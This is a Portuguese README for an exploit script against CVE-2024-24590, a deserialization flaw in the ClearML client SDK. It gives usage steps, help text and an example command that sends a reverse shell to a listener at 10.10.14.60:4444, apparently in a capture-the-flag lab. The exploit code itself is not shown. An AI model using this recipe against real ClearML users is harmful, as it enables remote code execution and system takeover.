CVE-2024-24590

A desserialização de dados não confiáveis pode ocorrer nas versões 0.17.0 a 1.14.2 do SDK do cliente da plataforma ClearML da Allegro AI, permitindo que um artefato enviado de forma maliciosa execute código arbitrário no sistema do usuário final quando houver interação com ele.

Uso

1. cole as credenciais fornecidas e execute o clearml-init
2. execute o script python exploit.py em um terminal e tenha um listener em outro terminal
3. pode ser necessário executar o exploit várias vezes para obter um reverse shell

usage: exploit.py [-h] -i IP -p PORT -P PROJECT

options:
  -h, --help  show this help message and exit
  -i IP       IP address of the listener
  -p PORT     Port number of the listener
  -P PROJECT  Name of the existing project

example: python exploit.py -i 10.10.14.60 -p 4444 -P 'Black Swan'

Detalhes do exploit

1. https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/
2. https://www.cvedetails.com/cve/CVE-2024-24590/